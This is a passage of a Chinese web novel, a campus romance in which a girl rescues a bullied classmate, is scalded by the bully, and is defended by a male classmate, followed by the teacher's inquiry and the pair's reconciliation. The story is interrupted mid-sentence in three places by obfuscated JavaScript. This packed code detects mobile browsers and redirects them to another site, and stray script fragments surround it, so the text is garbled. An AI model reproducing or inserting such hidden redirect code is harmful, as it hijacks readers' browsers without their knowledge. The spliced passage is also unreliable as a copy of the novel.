闻言,周窈扫了她一眼,继续做题。 题难啃分难拿。 就在周窈稍有思路时,代薇子猛地撞了她一下。 周窈将笔一拍:“你最好有事。” 却没想到这次倒是真有事。 代薇子眉头皱紧:“朱鑫纬他们把谭欣关器材室了!” 联想起刚才在器材室听到的响动,周窈瞬间便明白发生了什么事。 “一会下课了找个人帮她开门不就行了?” “钥匙在体育老师手里,现在是最后一堂课,万一等我们下课,老师走了呢?” “那就打个电话把人叫回来。” “是啦,可是……” 代薇子没有往下说,周窈也知道她要说什么。 可是那器材室又小又黑,也不知道里面有没有老鼠蟑螂,一个人被关在里面,肯定很无助。 像极了她当年被关过的卫生角。 投影仪上,又一位“死里逃生”的人正在接受死神的报复,一片紧张之中,几声不和谐的声音从后排传出。 “放心吧,出不来,我拿拖把从外面把门抵上了。” “这都最后一节课了,谁还上体育课啊,我查过排课表了,我们班上完后面就没体育课了,体育老师早走了。” “闹呗,她敢闹,信不信我整得更狠。” “朱哥教做人啊。” “就是呗,她不懂怎么做人我就大发慈悲地教教她。” “笑死,怕是以后见着朱哥都得绕道走。” “必须的啊!一生之中难以磨灭的阴影!让她此生永远记得这一天!以后只要她又打小报告,就得想起被关在小黑屋里的滋味!” “砰”得一声,刚刚以为躲过一劫的炮灰被从天而降的梯子捅穿,周窈突然站了起来,打了声报告就往外跑。 代薇子拽了一下没拽住,在Gloria一脸惊讶之中替她解释:“她肚子疼。”扭头却问蒋煜:“她肯定是去找谭欣了,怎么办啊!” “快去追啊!”蒋煜也一脸焦急。 而此时,一直关注着他们的Gloria却略有些愤怒地关上了教室的门,说着从现在开始,一个人都不许出去,直到下课。 四个人中,唯有顾彧看了眼窗外,没说话。 周窈一路疾跑找到了体育老师的办公室,老师果然不在座位上,但好在她还是从别人手里拿到了器材室的钥匙。匆忙道谢后,她又一路赶往器材室,刚到门口,就听见从里面传来小声的呜咽。 周窈没敢耽搁,立即开门,光亮中露出谭欣哭花了的脸。 显然是没想到会有人来救她,更没想到来救她的人是周窈,谭欣短暂地怔了一下。 “还不出来?我还要去还钥匙。” 谭欣赶紧从地上爬起来:“你怎么会来?” 周窈也没回答,只劝说她:“这件事你还是跟史芬或者你爸妈说一下比较好。” 谭欣摇了摇头,周窈便知道她不敢。 行,反正也不管自己的事,周窈没再继续劝,重新锁好门还钥匙去了。而谭欣也不敢自己回教室,就一路跟着周窈。 从办公室出来,离下课还剩几分钟,想着现在回去还要跟Gloria解释,也怪麻烦的,周窈就想在外面蹭到下课再回去。 谭欣看了眼小卖部方向:“我请你喝奶茶吧。” 周窈闻言看向她。 谭欣解释:“找你办事不都要给报酬的吗?” 看来是葛朗台人设过于深入人心了。 周窈也不拒绝,说了句“OK”便跟谭欣一起去了小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460791|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖部。小卖部里没有外面那种现做的奶茶,谭欣就买了两杯香飘飘,用小卖部提供的热水冲开,此时刚好下课铃声响起,两人就捧着香飘飘往教室里走。 刚走到门口,就被朱鑫纬那帮人堵住了。 朱鑫纬一看谭欣跟着周窈一块回来,就知道周窈做了什么,又瞄到两人手里的香飘飘,不屑地嗤笑一声:“怎么葛朗台·周行情下跌了啊,一杯香飘飘就把你打发了?” 周窈并不想跟朱鑫纬起冲突,扫了他一眼之后就绕过他往里走。 朱鑫纬哪受得了被人这么无视,直接一巴掌扇了过来:“我说没说过谁都不许帮她?!” 那一巴掌不偏不倚,直接扇在了周窈手里的香飘飘上,滚烫的奶茶顿时泼了周窈一身,烫得她惊叫了起来。 这一声直接惊动了还在班级里的代薇子等人,等他们出来一看,周窈裸露在外的手臂已经泛红了。 “怎么办啊!快去冲水!”谭欣慌得六神无主。 “快快快,有水没?!” 正嚷嚷着,就见顾彧拨开人群,拿着一瓶矿泉水对着周窈的手臂浇了下去,然后又将自己的校服外套罩在周窈身上,吩咐代薇子和谭欣:“带她去厕所冲水,冲完去医务室。” “哦哦,好!”两个女孩来不及反应,立马带着周窈往厕所去。 朱鑫纬也没想到会造成这样的局面,一时有点尴尬,却为了面子还在嘴硬:“呵,谁敢帮谭欣,谁就是这个下场,她自找的!” 然而话未说完,突然眼前一花,脑袋“嗡”得一声——顾彧对着他当头就是一拳。朱鑫纬顿时被打得眼冒金星,刚摇摇晃晃站直了身子,又立马被顾彧掐着脖子抵到墙上。 “你是什么东西,敢打她?!” 像是从牙缝里挤出来的几个字,让在场的人震惊不已,不明白被泼的人是周窈,为什么能惹得校草对朱鑫纬大动肝火。 被抵在墙上一时动弹不得的朱鑫纬看着顾彧的眼睛,一股恐惧感突然袭来,他伸手奋力抵抗,而面前的顾彧却纹丝不动,朱鑫纬吓坏了,明明自己才是搞体育的,怎么眼前这人力气比自己大了这么多?! 眼看着朱鑫纬被揍,他身边那群叫做“死党”的小弟也纷纷涌了上来,想把顾彧拦开,但蒋煜和李铭轩自然也不会干看着,新仇旧怨夹杂在一起,两群人几乎瞬间就打作一团,但无论其他人怎么打,顾彧依旧只盯着朱鑫纬,下手一次比一次狠,毫不留情,像是要将当年欺负周窈的那些债,都从朱鑫纬身上讨回来似的。 这边已经打得不可开交,但女厕所里,正在冲水的周窈她们还并不知道。 代薇子掬着水不停往周窈被烫的地方浇,谭欣看着那大片大片的红色,忍不住又哭了出来:“都是我,买什么奶茶啊,看着好严重,会不会留疤啊……” 代薇子故作镇定,但颤抖的声音还是出卖了她此时心中的慌乱:“不会的,不会的,多冲一会,肯定就没事了!” 周窈忍着火辣辣的疼安慰两人:“不是滚烫的水,已经不怎么疼了。” “怎么可能不疼啊,都红了!”谭欣哭着说道。 突然荣子涵又冲了进来:“不得了了!朱鑫纬要被顾彧打死了!” 谭欣一听哭得更大声了,她哪想得到不过一杯香飘飘,竟然惹出这么大的祸,早知道她就算在器材室被关到明天也可以啊…… “别哭了,这下真的得去找史芬了。” 20. 和解 此时史芬正在办公室里备课呢,就见谭欣哭得上期不接下气地跑进来,说是周窈被热水烫了。起先她还以为这是一桩“医疗事件”,到了班级一看才知道是“暴力事件”,小半个班级的男生在那打作一团,最中间的竟然是他们班的体育特长生和年纪第一,朱鑫纬青了半张脸,顾彧校服领口都被拽破了。 而谭欣口中那个疑似“重度烫伤”的周窈却成了全班最淡定的人,披着不知谁的校服外套,安安静静站在一边,围观这场闹剧。 望着这一片狼藉,史芬太阳穴猛跳了下,然后蓄力一声高吼:“都给我住手!” 十分钟后,教师办公室里,十几个男生歪歪斜斜勉强列成一排。 还没走的几位老师在边上看了会热闹,不禁调笑:“哟,上一次这么热闹还是上周黄主任去网吧抓人那会,这么快又有大行动啦。” 史芬讪讪,扭头对着那一溜人瞪眼大吼:“胆子肥啦?!敢在学校里打群架了?!上次升旗仪式没有参与,很遗憾是吧?!” 好歹对方是班主任,刚刚还气焰嚣张的男生们,此时一个个敛声屏息,头都不敢抬。 史芬一个个望过去:“谁先动的手?!” 朱鑫纬其中一个小弟赶紧举手交代,将一切矛头指向顾彧:“顾彧先打的朱鑫纬!” 蒋煜不甘示弱:“是因为朱鑫纬用热水泼周窈,顾神才打他的!史老师明鉴,顾彧是在替周窈报仇!” “你闭嘴。”史芬横了他一眼,蒋煜立即噤声。随即史芬又看向顾彧,这个刚转来半个月的尖子生,平日里看起来冷冷淡淡和和气气,打起架来竟然这么有血性。朱鑫纬好歹是体育生,脸上被他打得青紫一片,身上估计也好不到哪去。而他呢,倒也不能说毫发无损,但只在唇角红了一块,衣服领口被扯坏了,其他倒看不出来哪里有受伤。 想着顾彧总不能无缘无故就把朱鑫纬揍了一顿,史芬到底还是稍微缓和了一些语气:“顾彧,你说说罢,怎么回事。” 顾彧看了一眼窗外,破天荒地选择了撒谎。 “没怎么回事,看他不顺眼,就打了。” 边上蒋煜见他一点都不为自己辩解,更着急了,连连喊道:“不是的史老师!就是因为朱鑫纬用热水泼周窈!” 史芬皱着眉头将目光转向朱鑫纬:“那朱鑫纬你为什么要用热水泼周窈呢?” 十几人鸦雀无声,蒋煜顿时一激灵,这才明白刚才顾彧为什么没说实话,因为若扯到谭欣,这事就大了。朱鑫纬他们霸凌谭欣是一方面,谭欣因为跟史芬打小报告被霸凌又是一方面,全班人默许这件事发生,更是要命。 他根本无法想象这件事要如何收场。 学生们统一的缄默也是史芬没想到的,她敏锐地觉察到这件事绝不只是周窈被泼水烫伤这么简单。正想寻找新的突破口,一直在窗外探头探脑的谭欣突然冲了进来。 “史老师,我有话和您说!”谭欣脸色苍白,手指紧紧拽着衣摆,看起来是下了很大的决心。 史芬推了推鼻梁上的眼镜,略一思索,然后将谭欣带到隔壁办公室避开所有人,一对一谈话。 二十分钟之后,一切真相大白。 若刚才史芬还只是生气,现在就是暴怒状态。 “我没想到这种事竟然还能发生在我们班级!我以为你们只是调皮一些,贪玩,不认真读书,没想到你们在基本的道德问题上也会犯严重错误!这件事,不只是朱鑫纬你们这些施暴的人有错,默许纵容的同学也有错!” “我希望你们在学校里,不止是学知识,也能学做人!明天我会和黄主任商量一下,看怎么处理这个问题,晚上我也会挨个给你们父母打电话,必须让你们充分地认识到霸凌同学的严重性!” 史芬的每一字每一句都掷地有声地在走廊里回荡,而办公室门口,从医务室出来后一直等在这里的周窈则背靠墙壁,抬头看着天边的那片火烧云。 绚丽又热烈的颜色,带着某种治愈的力量,将她内心的黑暗过往彻底焚烧殆尽。 陆陆续续又训了半个多小时,勒令所有人写两千字的检讨之后,史芬这才放人出去。 一个小时前还趾高气昂的一群人,现在一个个蔫头耷脑。蒋煜和李铭轩打头走在最前面,他俩相对还算精神,凑在一起小声嘟囔“这事应该算不到我们头上吧,我们好歹也能算个见义勇为,希望我爸知道了别断我口粮。”,而朱鑫纬那帮人此时也横不起来了,一个个跟斗败了的公鸡似的,脸上青青紫紫不说,裸露在外的手臂上也满是抓痕,衣服更是烂的烂脏的脏,好不狼狈。 又等了好一会,才看到顾彧出来,他走在最后,脸色沉沉的看不出表情。经过朱鑫纬身边时还被朱鑫纬瞪了一眼,不过他也没什么反应,只径直走向周窈,将她从头到脚地仔细看了一遍,然后伸手摸了摸她的头。 “吓到了?烫伤没?” 周窈确实吓到了,即便在史芬看来她只是面色冷静地站在一边围观了男生们的乱斗,但只有她自己知道,当她看见人群中心暴戾的顾彧时,平静的假象下,是怎样一番惊涛骇浪。认识他这么多年,她从没见过顾彧这一面。 顾彧见周窈不回话,拧紧了眉头:“怎么不说话?烫得很严重?去医务室看过了吗?” 周窈瞥了面前的人一眼,好好一张脸上,嘴角的一抹猩红有些刺眼:“不严重,给配了烫伤药膏。”说着,她从口袋里掏出一只从医务室拿来的创口贴,拆开来。 “低头。”她对顾彧说道。 顾彧老实照做,随后,周窈拿着创口贴小心地给他贴上,一边小声数落:“你也真够可以的,朱鑫纬是什么人,你也说打就打,真就仗着要转去海市了,他想找你麻烦也找不到人了是吗?”说完,周窈松开手,一只普普通通的创口贴便出现在顾彧的嘴角,本就吊儿郎当的人现在看起来更添了几分痞气。 “我也没想这么多。”顾彧伸手摸了摸创口贴,垂下眼眸,眼神里的复杂情绪周窈一时也没看懂,但他说的话,周窈却听懂了。 他说:“我只是想,当时要是也有人能这样帮你就好了。” 呼吸停了一瞬。 周窈恍惚地觉着,今天发生的一切像是一种时空的倒错,让她在帮了谭欣的同时,也救了那个被关在卫生角的自己。而顾彧的那一拳,也像是在她阴暗的童年时期砸开了一道天窗,能让阳光倾泻进来。 这一刻,那股独自憋在心里好几年的劲,突然松了。她也终于体会到,和过去的自己的和解到底是怎样的一种感觉。 夜风骤起,灯光昏黄,此时走廊上的人渐渐散去,就剩他们俩还站在原地。办公室里,史芬给黄主任打电话的声音断断续续传出来,听得出来,她怒气还未散。 顾彧垂着头站在那,双手不安地搓着裤缝,像是等待发落的小孩。 良久,他才听周窈叹了口气。 “我们回家吧。” 少年愣了一下,再抬头时,他的眼眸像是被点亮的火把,目光灼灼。 那天晚上,九班的人几乎都没怎么睡好,因为史芬的一通电话和家长群里的通报,参战的男生们几乎都领到了来自爹妈的一顿胖揍,女生们也不好过,被父母好好教育了一通。毫无例外,顾彧也接到了何茜华的电话,只是对方在听说他是为了周窈而打架时,说出口的却是赞扬的话。 “那个叫什么朱什么的男生也太过分了,我在家长群里看到你们史老师说的了,还想着哪个男生这么优秀,为了帮助女生挺身而出,没想到是我儿子。妈妈真的很为你感到骄傲。不过……”她话锋一转:“解决问题的途径有很多,我并不提倡使用暴力手段。” “我知道。”顾彧站在镜子前,仔细地查看着嘴角的创口贴,并小心地将它翘起的一角抚平。 “受伤了么?”何茜华关切地问。 “没有,只是有点擦破皮。” “那就好。”何茜华松了口气,“不过还是要注意观察,有些内伤表面看不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460792|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “知道了。”顾彧停顿了一下,“妈,我想好了,我不去海市了。” 何茜华惊道:“怎么又突然改变想法了?” “嗯,还是觉得待在舟市更好一些。” 何茜华叹了口气:“你是不是在生气,妈妈中秋节不能来看你的事?” “没有。”顾彧下意识又摸了摸嘴角,“我只是,不想离开这里……” 对面沉默了一瞬。 何茜华试探地问道:“是因为奶奶吗?” “算是吧。”顾彧没否认。 面对儿子的坚持,何茜华再一次败下阵来,显然她近期来的游说和坚持,并没有换来儿子的回心转意。“这事,我跟你爸再商量下吧……” “好,谢谢妈妈,妈妈晚安。” “晚安。” 挂了电话,顾彧如释重负,但突然又想起了什么事,迅速给何茜华补了一条微信。 【顾彧:妈,有没有什么好用的,治疗烫伤的药膏啊?最主要是不留疤。】 与此同时,一墙之隔的周窈家,周窈也接到了来自陈娟的电话。陈娟今天又是晚班,要在医院待一晚上,很显然,史芬给她打电话的时候,她正在照顾病人,连事情的经过都听了个囫囵,还以为是周窈把别人给烫伤了,劈头盖脸对着周窈就是一顿数落。 周窈无语:“妈,被烫伤的是我。” 电话那头停顿了一下:“哦,那你们老师怎么也不讲讲清楚,颠三倒四的。那怎么办,要来医院吗?我告诉你啊,家里可没这个钱给你看医生治病啊……不是说可以用酱油还是米醋冲一下的吗?” 周窈再次打断:“不用去医院,轻微的烫伤,医务室的老师给我开了治烫伤的药膏了。” “哦。”电话那头陈娟又顿了一下,随即又道:“那谁把你烫伤的啊?向他索赔了没啊?小姑娘皮肤还是很要紧的,烫在哪个位置?” “烫到手臂那,还有肚子上一点,没有索赔,本来也不那么严重,过几天就好了。”周窈越发无语,“妈你还在忙吗?不忙的话就赶紧去睡一会吧,我这没什么事。” “行,没事就行。”陈娟的语气听起来似乎还有点失望,“我抓紧时间去睡会,不然这个老太太一会醒了又不安生。你没事也别给我打电话了,省点电话费,你们老师也是,着急忙慌的,我当多大事呢……”说着,她直接挂掉了电话。 周窈靠在床头,抬起胳膊看了一眼,红已经褪了很多了,原先那种火辣辣的疼痛感也消了不少,但只要她一闭眼,顾彧那暴戾的样子还是会自动浮现在她的脑海中。 若当年他看到自己被欺负,也会这样站出来帮她吗? 说起来也就过去四年而已,但回想起来却好像是上辈子的事了,那时候觉得每一天都好漫长,现在回看,也就能零零星星想起来几个画面,比如卫生角阴暗潮湿的感觉,和里面弥漫着的脏污的泥腥味。 其实很多个失眠的夜里,周窈也会懊悔,当初自己为什么不反抗呢?面对那些男生的恶作剧和女生的无视,她就应该一拳挥过去或者一巴掌扇过去啊。可那时候的她,还没学会也没有能力反抗来自一个班级所有人的霸凌。 但即便这样,她也从来没有跟顾彧说过这件事,哪怕她在心里默默的一个人讨厌了他那么多年,她也没想过要把这件事告诉顾彧。 为什么呢?可能因为她清楚明白地知道,这件事其实并不是顾彧的错,但她又实在需要一个发泄口,所以才会悄悄地讨厌他,厌恶他,不想他靠近吧。 这样想来,顾彧确实是无辜,毕竟陈娟在他们家做保姆的事,其实也不是顾彧说出去的,而他却在周窈这里,背了那么多年的黑锅。 正想着,枕边的手机突然震了震。 起来一看。 【顾^^彧:或许,明天能一起上学吗?】 周窈抿唇想了想,回复了几个字。 【不是葛朗台是世界首富:七点十五,迟到你就死定了。】 21. 创口贴 早上出门的时候,果不其然顾彧已经蹬着他那辆高级山地车等在楼下了,周窈将他的校服外套递给他:“洗过晾干了。” 顾彧捧着校服闻了闻,果然,上面有一股洗衣液的清香。 注意到他这个举动,周窈撇了撇嘴:“你恶不恶心。” 顾彧将校服套上:“我闻闻自己衣服怎么就恶心了。” 周窈懒得理他,绕过他要去取车,经过他身边的时候,不经意一瞥,却看到他嘴角那个创口贴,似乎是洗脸时沾了水,边角都翘起来了,要掉不掉的。 周窈啧了一声:“你就不能换个创口贴吗?” 顾彧颇为珍惜地摸了摸:“周条条给我贴的,舍不得摘,而且家里也没有新的创口贴……” “我信你个鬼。”周窈翻了个白眼,“那天我才翻过你家的药箱,创口贴有两包。” “哦……那我没找到。”顾彧说谎眼都不眨一下。 简直拿他没办法,周窈在口袋里摸了摸,又掏出一个新的递给他:“自己换上。” 顾彧不接:“我看不到,贴不准。” 这人就是来折腾她的吧! 周窈心中的火越烧越旺,但看到那青紫的伤口时,她还是走上前去,将新的创口贴稳稳地贴在了顾彧的嘴角,末了还不忘狠狠按了一下出气。 “嘶——”顾彧疼得倒抽了一口凉气,但对上周窈“杀气腾腾”的眼神,立马做出一副敢怒不敢言的怂样。 装模作样。 周窈腹诽着骑上自行车走人,顾彧见状也立即跟了上去。 事实证明顾彧真的是个麻烦精,一会贴创口贴,一会又说早饭没吃要买早饭,被他一耽搁,等他们到教室的时候,早自习都快开始了。两人前后脚进门,顾彧还特地在门口停顿了一下,像是在等什么,然而他们的到来并未引起半点水花,相反,今天教室还异常安静,女生们也没凑在一起讨论电视剧小说动漫了,平时那些闲聊吹牛的男生也都老老实实坐在自己的座位上。 只是,其中有几个座位是空着的。 “一大早朱鑫纬他们几个‘主犯’的家长就被老黄叫去了,现在都在教务处呢,小道消息,应该是要严惩。”蒋煜托着腮懒懒散散地在作业上随意划拉,ABCD主打的就是一个乱填。 “活该。”代薇子愤愤,“谁让他们做得这么过分。”但转念一想自己也未上去制止过,于是说话的口气也逐渐虚了下去。之前她还因为周窈作为有同样遭遇的人,对谭欣冷眼旁观而浅浅失望了一下,而现在看来,反而是她自己不及周窈半点勇敢。这样一想,她脸不禁烧了起来,看向周窈的眼神也变得敬佩和自叹不如起来。 而周窈却完全没注意到代薇子的心理活动,她越过人群往谭欣那看了一眼,见她正好好地坐在位置上背书,她同桌偶尔还和她搭讪几句,看起来神色如常。 “砰!” 周窈吓了一跳,循声看去就见顾彧将自己的书包重重往桌子上一砸,脸色沉沉,似有些不开心。 蒋煜抬头怯怯地问:“咋地,顾神,昨天的气还没消啊?” 顾彧瞥了他一眼,又扫了眼周窈,从齿缝里挤出来两个字:“没事。” 有病吧。 周窈不知道他又抽什么风,转过身去不理他,然而没多久她手机就震了几下,掏出来一看…… 【顾^^彧:他们都没发现咱们是一块来的![哭哭]】 周窈无语,略有些不耐烦地回他:“你已经是个成熟的男孩子了,可以不要对这种事斤斤计较吗?!” 过了会,手机又震。 【顾^^彧:果然,先爱的人注定就是输。】 【不是葛朗台是世界首富:……】 【不是葛朗台是世界首富:少看点企鹅空间。】 似乎老师们都被叫去处理朱鑫纬他们霸凌同学的问题了,今天的早自习也没人管了,谭欣经过昨天之后,似乎已经平复了心情,重新担起班长责任,坐在讲台上维持班级秩序。但其实,在霸凌事件之前,谭欣在班里也就没什么威慑力,更别提现在了,所以一整节早自习,班级里讲小话的行为屡禁不止。 蒋煜抄完作业万事大吉,加上他昨天打架属于“见义勇为”,回家也没怎么被骂,反而还被他爸夸了一顿,现在心情好得简直要飞起来,在顾彧耳朵边上哼了一节课的《孤勇者》。 顾彧还没来得及说话,代薇子就忍不住了,扭头将怒道:“能不能闭嘴?!” 心情颇佳的蒋煜被骂了还一脸笑嘻嘻,指着手机日历上的中秋假期问:“哎,你们中秋什么安排?” 代薇子横了他一眼:“你管我什么安排。”说完转身继续背书了。 蒋煜又扭头问边上的顾彧:“诶,顾神,中秋什么安排?” 顾彧懒懒扭头,掏了掏耳朵:“嗯?你怎么知道我早上跟周窈一起来的?” 蒋煜一个战术后仰:“谁问你这个了?你背书背傻了……啥?你跟葛朗台·周一起来的?!” 顾彧颇有些得意地扬眉。 “卧槽!”蒋煜这才反应过来,又凑上前去小声问:“你们和好啦?” 顾彧没回话,只下意识摸了摸嘴边的创口贴。 蒋煜一拍大腿:“这难道不值得好好庆祝一下吗?!” 课文背了一半的代薇子再次愤怒回头:“又嚷嚷什么!” 蒋煜一挥手:“你别管。”说着打开手机好一顿翻,“放心顾神,这个中秋假期我可不得给你安排得妥妥帖帖的!” 顾彧闻言,这才满意地再次低下头去背书。 将这场闹剧一字不落听了个全的周窈:…… 幼稚。 下课后,蒋煜还在那自以为小声地和顾彧八卦跟周窈和好的全过程,周窈眼不见为净,想去走廊上待会,谭欣就找了过来,将一支药膏郑重地放在周窈桌上。 周窈抬眼看她,略有不解。 谭欣抿了抿唇:“昨天……谢谢你,这个烫伤膏送你,希望你早日康复……” 周窈被那句“早日康复”雷了一下,但面对谭欣的一片好意,她便也不计较了,大方地收下。道谢后,就又听谭欣说道:“那个,虽然我打了不少小报告,但你卖数学□□那事绝对不是我说的,我发誓!毕竟……我自己偶尔也会买一份答案……” 周窈眼角跳了跳:大姐,你这会倒是都给我抖落干净了。 “我去!”听完谭欣的话,周窈还未有什么反应,蒋煜倒是先炸了,“所以咱们班里还有别的小喇叭是吗?!这怎么还抓不完了?!数学答案这事不是谭欣说的,那是谁啊?” 众人面面相觑间,顾彧低声补充:“举报周窈的是个男生,而且他很明确,只针对周窈。” 顾彧的话又引得众人沉思,蒋煜一拍桌子:“好啊,想不到还有漏网之鱼,这次我一定要把他也一起揪出来!诶,葛朗台·周,你快想想你到底得罪谁了……” 周窈还真认真想了,只是想了半天,也没想出个所以然,干脆低头研究谭欣给她的那管药膏去了。 药膏还是进口货,上面都是英文,大半单词看不懂。周窈掏出手机正要查呢,顾彧长手一伸,直接将她的药膏给拿走了。 “嗯?”周窈一脸疑惑地朝他望去,就见顾彧从自己的书包里又翻出一管药膏递给她。 “用我的。” “有什么区别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这话一出,再无人反对了,一个个老老实实根据指使往体育馆走去。 一中的校址有些年头了,地处市中心,想扩建也没处扩,体育馆自然也是有老有小又旧,四周看台虽然也有些折叠座位,但数量十分有限。 在史芬的指挥下,男生们从仓库拿出折叠椅,按次序依次摆放好,女生就拿着抹布将椅子擦干净,虽说人多干活不累,但一趟干下来,也有些腰酸背痛。 “哎,好好一个午休又废了。”蒋煜揉着胳膊抱怨。 李铭轩斜了他一眼:“得了吧,不干活你也是打游戏,有什么区别。” 两人安置完椅子,想着闲着也是闲着,就在原地坐了下来,掏出手机开始排位。顾彧原本想回去做卷子,离开前却看见周窈还拿着抹布挨个擦椅子,脚步又不由自主地停了下来,向周窈那边转向。 见他没走,周窈也停下手里的动作:“你怎么不走?不是搬完了吗?” “我帮你吧。”说着,顾彧随手捡了一块抹布。 周窈也不跟他客气,指了身后:“那你把这排擦了。” 有了顾彧的帮忙,周窈也很快完成了自己的任务。只是事情做完她也没着急走,只是望着主席台上拉着的横幅发呆。 横幅上写着——舟市一中XX届高考前第一次动员大会。 这破旧的体育馆,竟因为这一条横幅就显得肃穆了起来。 “看什么?”顾彧凑上来。 “没。”周窈摇摇头,“等我们高三了,也要开家长会的吧?” “嗯。”顾彧点头,眼神却紧紧望向周窈,少女的脸上,是一种说不出的疲惫感。 “如果那一天快点来就好了,真希望明天就高考……”考完她就能赶紧离开这个地方了,带着陈娟一起。 “会来的。”顾彧摸摸她的头:“时间一眨眼就过去了。” 22. 开学 嘴上虽然说着想明天就高考,但周窈也很清楚,自己现在这个分数,是考不上理想学校的,于是从体育馆回去以后,她又开启了“两耳不闻窗外事”的学习模式。 但很显然其他人并没有Get到她这份觉悟,蒋煜在各种打听中秋去哪玩,顾彧更是时不时就要来骚扰她一下,一会是笔没墨水了,一会作业不知道做哪,就连中午去食堂吃饭,打什么菜也要问过她。 周窈忍无可忍:“顾狐狸你上辈子502转世吧,怎么这么烦人呢。” 顾彧无辜眨眼,指了指自己嘴角指甲盖大的青紫:“万一吃的不对留疤了怎么办?” 周窈斜了他一眼:“你靠脸吃饭?” 顾彧大言不惭:“靠。” 面对这种厚脸皮,周窈彻底没了脾气,抛下一句“那你喝粥吧”自顾自吃饭去了。 但除此之外倒也不是全无益处,毕竟顾彧脑子好使是真的,年纪第一也是真的,周窈怎么都解不开的题,拿给顾彧,他三五分钟就解开了,还能提供不止一种解法。 周窈望着草稿纸上过于详细的解题步骤,也只能感叹一句人与人之间的差距之巨大,茅塞顿开的同时也多少有些泄气。 然而后排的顾彧却浑然不觉,还沉浸在“周条条问我题目”这件事的喜悦中,他戳了戳周窈的背:“我还有别的解法,你要听吗?这题还能拆解,还能变形,要给你一并讲了吗?” 周窈回头:“闭嘴。” 下午的时候,因为高三开家长会,体育课改成了室内自习。但对某些人来说,自习是不可能自习的,这辈子都不可能。 蒋煜特地和后排的人换了位置,和李铭轩凑在一起打游戏,等复活的时间,抬头就看见周窈和顾彧几乎头碰头地在那讨论题目呢。 他捅了捅李铭轩:“哎,你说这顾神到底还去不去海市啊?” 李铭轩打得正激烈呢:“你别碰我啊,哎,就因为你,我大放歪了,人头没收到。” “怪我怪我,下把我给李哥打辅助。” 李铭轩抬头扫了一眼:“十有八九是走不了了,我不是说过么,只要周窈开口,顾彧就走不了。” 蒋煜竖了个大拇指:“还是你牛啊兄弟!” 临近放学,蒋煜一脸兴奋地问大家:“我哥开了一家密室逃脱,刚开业,让我带人去给他撑撑场子,免费,去不去?!” “什么主题?”代薇子有些心动。 蒋煜低头看了眼手机:“他说有恐怖的,也有悬疑破案的,恐怖的那个好像是个校园题材,听我哥说版权费不便宜,怎么样,去不去?” 代薇子想了想:“还有谁一起去啊?” “李铭轩。” “那带我一个吧,不过你别叫乱七八糟的人。” “哪来乱七八糟的人啊!”蒋煜大喊冤枉,然后伸出大拇指指了指顾彧:“天地良心,我可是专程为顾神安排的这场破冰之旅好吧。”转头他又问顾彧:“诶,顾神你哪天有空,我提前跟我哥订场子。” 顾彧转了下笔,戳了戳周窈的背。 “干嘛?”周窈回头。 顾彧:“人家问哪天有空,去密室玩。” 周窈:“我又没聋,人家问的是‘你’哪天有空。” 顾彧扁扁嘴:“你不去我还去干嘛?都说了是帮我们安排的破冰之旅……” 闻言,周窈愣了一下,望着一脸期待的蒋煜和歪着头等她答复的顾彧,有些犹豫。刚刚收到的陈娟短信上还写着,让周窈放假的那三天去医院给她帮忙。原本周窈也是这么想的,毕竟陈娟最近的状态看起来真的不好,太疲惫了,自己有空时该过去给她多帮帮忙,而且她也从来没和同学一起出去玩过…… “哪天?”顾彧趴在桌上,再次伸手拽了拽她的袖子,漂亮的狐狸眼朝她望过来,亮晶晶的。他极少会露出这种期待的眼神,大多数的时候,他都是一副不怎么在意的样子。 鬼使神差,周窈嘴里吐出两个字:“明天。” 顾彧满意地收回手,边上蒋煜飞速看了一眼日历:“明天正好中秋节啊……那就不能在外面吃饭了。”中秋节正日子,大家都要回家吃团圆饭,然而顾彧和周窈,四舍五入两个“留守儿童”,对这种节日都不怎么在意,更不会关心。 蒋煜:“也没事,我跟我哥订个下午场,这样大家玩完各回各家吃团圆饭!” 无论如何,中秋假期就这样定下来了。晚上顾彧带着李铭轩和蒋煜上分的时候,蒋煜还在那感叹:“真想不到,有朝一日还能和葛朗台·周一起出去玩。” 顾彧愣了一下,随即追问:“为什么?” 李铭轩轻笑了一声:“她看上去也不像是和同学们关系好到能一起出去玩的样子啊。” 蒋煜犹豫了一下,支支吾吾道:“那倒也不是,其实葛朗台·周看着冷淡,但人还是不错的,又是班级第一,要是她愿意,肯定能跟同学们处得好。可能还是因为家境的关系吧,你想,现在去哪玩都不便宜……” 虽然周窈也从来没在班里说过自己家庭情况,但明眼人都能看出来她缺钱,不然为什么每天忙着跑腿赚那一块两块,顶着被处分的风险也要卖答案。 李铭轩问:“她没申请补助吗?我原来那个班,有个同学申请了补助,说是金额还可以的。” “申请过的吧。”蒋煜仔细回忆了一番,“但后来不知道为什么没批。” 听到这里,顾彧沉默了。 想来周窈家的情况,纵然申请下来了补助,也杯水车薪。 “顾神!反野反野,抓一波!” 顾彧回神,和李铭轩配合着收掉了一个人头,成功吃掉对面半边野区,纵然后续遭到对面下野辅联合夹击,经济也领先了一大截。 